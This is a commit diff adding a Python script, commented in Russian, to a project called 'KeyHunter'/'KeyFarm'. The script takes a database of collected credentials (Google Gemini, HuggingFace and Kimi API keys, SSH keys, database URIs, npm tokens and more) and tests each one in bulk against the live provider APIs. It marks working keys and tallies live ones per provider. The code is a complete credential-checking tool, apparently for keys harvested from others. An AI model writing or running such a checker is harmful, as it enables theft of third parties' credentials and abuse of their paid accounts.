KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)
This commit is contained in:
275
validate_backlog.py
Normal file
275
validate_backlog.py
Normal file
@@ -0,0 +1,275 @@
|
||||
"""Форс-валидация бэклога NEW-ключей KeyFarm.
|
||||
|
||||
Импортирует eternal_v10 как модуль (циклы не стартуют — есть __main__ guard)
|
||||
и прогоняет все NEW-ключи через m.validate() в 40 потоках.
|
||||
m.validate сам обновляет статус в БД (db_update_key, _DB_LOCK).
|
||||
"""
|
||||
import importlib.util
|
||||
import sqlite3
|
||||
import sys
|
||||
import threading
|
||||
from collections import Counter
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
PROJ = Path(__file__).resolve().parent
|
||||
DB_PATH = PROJ / "data" / "keys.db"
|
||||
EV10 = PROJ / "src" / "eternal_v10.py"
|
||||
THREADS = 16
|
||||
LIVE = {"WORKING", "LIMITED"}
|
||||
PRIO = {"GOOGLE": 0, "HUGGINGFACE": 1, "KIMI": 2}
|
||||
|
||||
_lock = threading.Lock()
|
||||
_prov_live = Counter() # provider -> live count
|
||||
_prov_dead = Counter() # provider -> dead count
|
||||
_statuses = Counter()
|
||||
|
||||
|
||||
# --- D3: GOOGLE/GEMINI-валидатор (hoisted из run() — hermetic smoke водит его
|
||||
# напрямую). Контракт (jotaro validator.py L1338/L1920, адаптировано):
|
||||
# /models 200 → WORKING "GEMINI API"; 429 → LIMITED (IP-квота ≠ вердикт ключу);
|
||||
# 5xx → ERR (транзит, requeueable); 401 → DEAD сразу (явный отказ auth);
|
||||
# 400/403/404 → generateContent-цепочка по GEMINI_CANDIDATES: скоуп-ключи
|
||||
# часто не отдают листинг, но генерят. В цепочке: 200+candidates → WORKING
|
||||
# plan=<model>; 200 без candidates (квота-обёртка) → след. модель; 429 →
|
||||
# LIMITED (цепочка стоп); 401 → DEAD; 400 + auth-маркер в error.message →
|
||||
# DEAD, иначе (location/модельный 400) → след.; 403/404/5xx → след.;
|
||||
# сетевое исключение → ERR (не жжём 5 запросов). Цепочка исчерпана →
|
||||
# DEAD google_<code>_gen<last> (план-коды для targeted requeue).
|
||||
GEMINI_URL = "https://generativelanguage.googleapis.com/v1beta/models"
|
||||
GEMINI_GEN_URL = ("https://generativelanguage.googleapis.com/v1beta/models/"
|
||||
"{model}:generateContent")
|
||||
GEMINI_CANDIDATES = ("gemini-2.5-flash", "gemini-2.0-flash",
|
||||
"gemini-1.5-flash", "gemini-1.5-pro", "gemini-flash-latest")
|
||||
GEN_AUTH_MARKERS = ("api key", "api_key", "key not valid",
|
||||
"permission_denied", "key expired")
|
||||
|
||||
|
||||
def make_google_validator(m):
|
||||
requests = m.requests
|
||||
|
||||
def _v_google(_prov, key):
|
||||
try:
|
||||
r = requests.get(GEMINI_URL, params={"key": key}, timeout=15)
|
||||
except Exception as e:
|
||||
return "ERR", f"google_exc:{type(e).__name__}", "", ""
|
||||
code = r.status_code
|
||||
if code == 200:
|
||||
try:
|
||||
n = len(r.json().get("models", []))
|
||||
except Exception:
|
||||
n = 0
|
||||
return "WORKING", "GEMINI API", f"{n} models", str(n)
|
||||
if code == 429:
|
||||
# v7.15: LIMITED, не WORKING — IP-scoped квота ничего не говорит
|
||||
# о самом ключе; WORKING впитывал rate-limit-артефакты.
|
||||
return "LIMITED", "google_429", "", ""
|
||||
if code >= 500:
|
||||
# v7.16: 5xx = транзитная инфраструктура, НЕ смерть ключа;
|
||||
# ERR + код → targeted requeue WHERE plan LIKE 'google_5%'.
|
||||
return "ERR", f"google_{code}", "", ""
|
||||
if code == 401:
|
||||
# явный auth-отказ на листинге — цепочка не нужна (jotaro:
|
||||
# deep только для UNVERIFIED/QUOTA, не для INVALID)
|
||||
return "DEAD", "google_401", "", ""
|
||||
# D3: 400/403/404 — ключ возможно жив для генерации. Первый
|
||||
# решающий ответ побеждает.
|
||||
last_g = None
|
||||
for model in GEMINI_CANDIDATES:
|
||||
try:
|
||||
g = requests.post(
|
||||
GEMINI_GEN_URL.format(model=model),
|
||||
headers={"x-goog-api-key": key,
|
||||
"Accept": "application/json"},
|
||||
json={"contents": [{"parts": [{"text": "hi"}]}],
|
||||
"generationConfig": {"maxOutputTokens": 8,
|
||||
"temperature": 0}},
|
||||
timeout=15)
|
||||
except Exception:
|
||||
# транзиентная сеть посреди цепочки: ERR, не DEAD (requeueable)
|
||||
return "ERR", f"google_{code}_genexc", "", ""
|
||||
gcode = g.status_code
|
||||
last_g = gcode
|
||||
if gcode == 200:
|
||||
try:
|
||||
cands = g.json().get("candidates", [])
|
||||
except Exception:
|
||||
cands = []
|
||||
if cands:
|
||||
# plan=<model>: gen-WORKING отличим от listing-WORKING
|
||||
# ("GEMINI API"); requeue gen-популяции LIKE 'gemini-%'
|
||||
return "WORKING", model, "", ""
|
||||
continue # 200 без candidates = мусор/квота-обёртка
|
||||
if gcode == 429:
|
||||
return "LIMITED", "google_gen429", "", ""
|
||||
if gcode == 401:
|
||||
return "DEAD", f"google_{code}_gen401", "", ""
|
||||
if gcode == 400:
|
||||
try:
|
||||
emsg = str((g.json().get("error") or {}).get("message", ""))
|
||||
except Exception:
|
||||
emsg = g.text[:200]
|
||||
el = emsg.lower()
|
||||
if any(k in el for k in GEN_AUTH_MARKERS):
|
||||
return "DEAD", f"google_{code}_gen400auth", "", ""
|
||||
continue # модельный 400 (location/not-found) → след.
|
||||
# 403/404/5xx/прочее → следующая модель (jotaro L1994-2003)
|
||||
return "DEAD", f"google_{code}_gen{last_g}", "", ""
|
||||
|
||||
return _v_google
|
||||
|
||||
|
||||
def run():
|
||||
import time
|
||||
t0 = time.time()
|
||||
|
||||
# --- импорт eternal_v10 один раз ---
|
||||
spec = importlib.util.spec_from_file_location("ev10", str(EV10))
|
||||
m = importlib.util.module_from_spec(spec)
|
||||
sys.stdout.flush()
|
||||
spec.loader.exec_module(m)
|
||||
print(f"[init] eternal_v10 imported in {time.time()-t0:.1f}s", flush=True)
|
||||
|
||||
# --- рантайм-патч: GOOGLE — заглушка в eternal_v10 (vt=default без
|
||||
# test_model, _v_default падает KeyError). Файл не трогаем — D3-валидатор
|
||||
# живёт на уровне модуля (make_google_validator), патчим сюда.
|
||||
m.VALIDATORS["google"] = make_google_validator(m)
|
||||
if "GOOGLE" in m.PROVIDERS:
|
||||
m.PROVIDERS["GOOGLE"]["validation_type"] = "google"
|
||||
m.PROVIDERS["GOOGLE"]["test_url"] = GEMINI_URL
|
||||
m.PROVIDERS["GOOGLE"].setdefault("test_model", "gemini-2.0-flash")
|
||||
print("[init] GOOGLE runtime validator patched (D3 gen-fallback)", flush=True)
|
||||
|
||||
# --- чтение бэклога ---
|
||||
db = sqlite3.connect(str(DB_PATH), check_same_thread=False)
|
||||
db.execute("PRAGMA busy_timeout=120000")
|
||||
db.execute("PRAGMA journal_mode=WAL")
|
||||
# v7.1: only select providers eternal_v10 can actually validate.
|
||||
# Truly-unknown provs (TWITTER/PRIVATE_KEY/...) have no PROVIDERS entry AND
|
||||
# no structural early-return -> validate() gives "UNKNOWN" WITHOUT
|
||||
# db_update_key, so they would churn as NEW forever. Filtered out here;
|
||||
# they stay collect-only NEW until real validation logic is added.
|
||||
# (PG_URI/MONGO_URI/HTTPS_AUTH etc. are NOT unknown — v7.7 note below.)
|
||||
# v7.7: eternal_v10.validate() structurally early-returns WORKING/"unvalidated"
|
||||
# for cred types with no API to probe — BEFORE the PROVIDERS lookup. They are
|
||||
# not PROVIDERS keys, so a PROVIDERS-only filter strands them in NEW forever.
|
||||
# Union them back; drift-guard against validate()'s actual source (log+exclude,
|
||||
# never hard-fail an unattended loop). GROQ stays out via the NEVER_MATCH filter.
|
||||
# 2026-10-19: GITLAB_PAT is now a PROVIDERS alias (hdr_get probe — real
|
||||
# validation beats a structural stamp); AZURE_STORAGE/PRIVATE_KEY live in
|
||||
# PROVIDERS as detection_only. Remaining 13 match validate()'s inline literals.
|
||||
_STRUCTURAL = {'ACCTOKEN', 'HTTPS_AUTH', 'MONGO_URI', 'MYSQL_URI', 'NETRC',
|
||||
'NPMRC_TOKEN', 'PGP_KEY', 'PG_URI', 'PUTTY_KEY', 'REDIS_URI',
|
||||
'SQUARE', 'SSH_KEY', 'TWILIO_SK'}
|
||||
import inspect
|
||||
_vsrc = inspect.getsource(m.validate)
|
||||
_drift = sorted(p for p in _STRUCTURAL if ("'%s'" % p) not in _vsrc)
|
||||
if _drift:
|
||||
print(f"[warn] structural list drift, excluded: {_drift}", flush=True)
|
||||
_STRUCTURAL -= set(_drift)
|
||||
# v7.9: exclusion is REGEX-ONLY. The old `v.get("vars") or ...` clause leaked
|
||||
# TOGETHER (NEVER_MATCH regex but non-empty vars) — the validator was probing
|
||||
# ~260 keys of an operator-disabled family. NEVER_MATCH in regex = disabled.
|
||||
# .upper() covers word-order variants (e.g. DISABLED_NEVER_MATCH).
|
||||
valid_provs = sorted(
|
||||
set(k for k, v in m.PROVIDERS.items()
|
||||
if "NEVER_MATCH" not in str(v.get("regex", "")).upper())
|
||||
| _STRUCTURAL)
|
||||
_ph = ",".join("?" * len(valid_provs))
|
||||
# v7.13: structural rows FIRST in the slice — they cost zero HTTP, so they
|
||||
# must never be rationed behind slow network probes (pre-drain, the ELSE
|
||||
# bucket starved behind GOOGLE/HF/KIMI and 13k zero-cost rows sat for hours;
|
||||
# matters again when TWITTER/PRIVATE_KEY unlock adds ~29k network rows).
|
||||
# Built from _STRUCTURAL itself — no drift from the union above.
|
||||
# ponytail: LIMIT 8000 still caps the slice; if structural NEW ever exceeds
|
||||
# it, split into a separate un-LIMITed pre-pass (upgrade path, not needed
|
||||
# at ~1.3k/day inflow).
|
||||
_struct_ph = ",".join(f"'{p}'" for p in sorted(_STRUCTURAL)) or "''" # empty-set guard: IN ('') valid, matches nothing
|
||||
rows = db.execute(
|
||||
f"SELECT val, prov FROM keys WHERE status='NEW' AND prov IN ({_ph}) "
|
||||
f"ORDER BY CASE WHEN prov IN ({_struct_ph}) THEN -1 "
|
||||
"WHEN prov='GOOGLE' THEN 0 WHEN prov='HUGGINGFACE' THEN 1 "
|
||||
"WHEN prov='KIMI' THEN 2 ELSE 3 END, id LIMIT 8000",
|
||||
valid_provs,
|
||||
).fetchall()
|
||||
new_total = db.execute(
|
||||
"SELECT count(*) FROM keys WHERE status='NEW'").fetchone()[0]
|
||||
db.close()
|
||||
print(f"[init] validatable providers={len(valid_provs)} | "
|
||||
f"NEW validatable={len(rows)} collect-only-skipped={new_total - len(rows)}",
|
||||
flush=True)
|
||||
total = len(rows)
|
||||
print(f"[init] backlog: {total} NEW keys"
|
||||
f" ({len(set(p for _, p in rows))} providers)", flush=True)
|
||||
if not rows:
|
||||
print("[done] no NEW keys — nothing to validate", flush=True)
|
||||
return
|
||||
|
||||
done = 0
|
||||
def work(item):
|
||||
nonlocal done
|
||||
val, prov = item
|
||||
for attempt in (0, 1, 2):
|
||||
try:
|
||||
st, plan, price, rem = m.validate(val, prov)
|
||||
break
|
||||
except sqlite3.OperationalError:
|
||||
if attempt == 2:
|
||||
# v7.8: do NOT persist db-locked — transient SQLite contention
|
||||
# must stay NEW and retry next round. Persisting it buried
|
||||
# live keys as DEAD without ever probing them.
|
||||
st, plan, price, rem = "DEAD", "db-locked", "", ""
|
||||
else:
|
||||
time.sleep(0.5 * (attempt + 1))
|
||||
except Exception as e:
|
||||
# валидатор может упасть на кривом prov-entry (KeyError и т.п.)
|
||||
# — не роняем весь прогон, фиксируем как ERR
|
||||
st, plan, price, rem = "ERR", f"exc:{type(e).__name__}", "", ""
|
||||
try:
|
||||
m.db_update_key(val, st, plan, "", "")
|
||||
except Exception:
|
||||
pass
|
||||
break
|
||||
with _lock:
|
||||
_statuses[st] += 1
|
||||
if st in LIVE:
|
||||
_prov_live[prov] += 1
|
||||
else:
|
||||
_prov_dead[prov] += 1
|
||||
done += 1
|
||||
if done % 200 == 0 or done == total:
|
||||
print(
|
||||
f"[{done}/{total}] {prov} live={_prov_live[prov]}"
|
||||
f" dead={_prov_dead[prov]} | "
|
||||
+ " ".join(f"{s}={c}" for s, c in _statuses.most_common()),
|
||||
flush=True)
|
||||
return st
|
||||
|
||||
with ThreadPoolExecutor(max_workers=THREADS) as ex:
|
||||
list(ex.map(work, rows))
|
||||
|
||||
dt = time.time() - t0
|
||||
print(f"[done] {total} keys in {dt/60:.1f} min", flush=True)
|
||||
|
||||
# --- итог ---
|
||||
db = sqlite3.connect(str(DB_PATH))
|
||||
db.execute("PRAGMA busy_timeout=120000")
|
||||
print("\n=== status after run ===", flush=True)
|
||||
for st, c in db.execute("SELECT status, COUNT(*) FROM keys "
|
||||
"GROUP BY status ORDER BY 2 DESC"):
|
||||
print(f" {st:<10} {c}", flush=True)
|
||||
print("\n=== top live providers ===", flush=True)
|
||||
for prov, c in db.execute(
|
||||
"SELECT prov, COUNT(*) FROM keys "
|
||||
"WHERE status IN ('WORKING','LIMITED') "
|
||||
"GROUP BY prov ORDER BY 2 DESC LIMIT 10"):
|
||||
print(f" {prov:<20} {c}", flush=True)
|
||||
new_left = db.execute("SELECT COUNT(*) FROM keys WHERE status='NEW'"
|
||||
).fetchone()[0]
|
||||
print(f"\nNEW remaining: {new_left}", flush=True)
|
||||
db.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
run()
|
||||
Reference in New Issue
Block a user